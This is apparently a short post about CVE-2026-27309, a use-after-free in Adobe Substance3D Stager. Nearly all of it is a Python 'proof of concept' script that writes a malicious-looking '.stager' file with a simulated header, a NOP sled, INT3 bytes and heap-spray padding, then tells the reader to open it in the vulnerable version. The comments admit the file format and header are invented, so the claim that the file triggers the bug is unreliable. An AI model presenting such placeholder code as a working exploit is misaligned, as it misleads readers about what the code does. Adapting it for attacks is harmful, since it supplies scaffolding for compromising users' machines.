CVE-2026-27309 Adobe Substance3D Stager释放后重用漏洞

import struct # Conceptual PoC for CVE-2026-27309 # This script generates a file structure designed to trigger the Use-After-Free. # Note: The actual file format structure for Substance3D Stager is proprietary. # This PoC demonstrates the payload generation logic often used in such exploits. def create_malicious_file(filename): # 1. Header (Simulated) header = b'STB3\x00\x00\x00\x01' # 2. Malicious Block designed to corrupt heap metadata # This specific pattern might trigger the allocation/free cycle trigger_block = b'A' * 0x100 trigger_block += b'\x00' * 0x10 # 3. Payload / ROP Chain # In a real scenario, this would be addresses pointing to executable code # or shellcode. Here we use a placeholder pattern. payload = b'\x90' * 0x100 # NOP Sled payload += b'CC' # INT3 interrupt for debugging # 4. Construct the file with open(filename, 'wb') as f: f.write(header) f.write(trigger_block) # Heap spray padding to increase reliability f.write(payload * 100) # Generate the exploit file create_malicious_file('exploit_CVE-2026-27309.stager') print("Malicious file generated. Open this in Adobe Substance3D Stager <= 3.1.7.")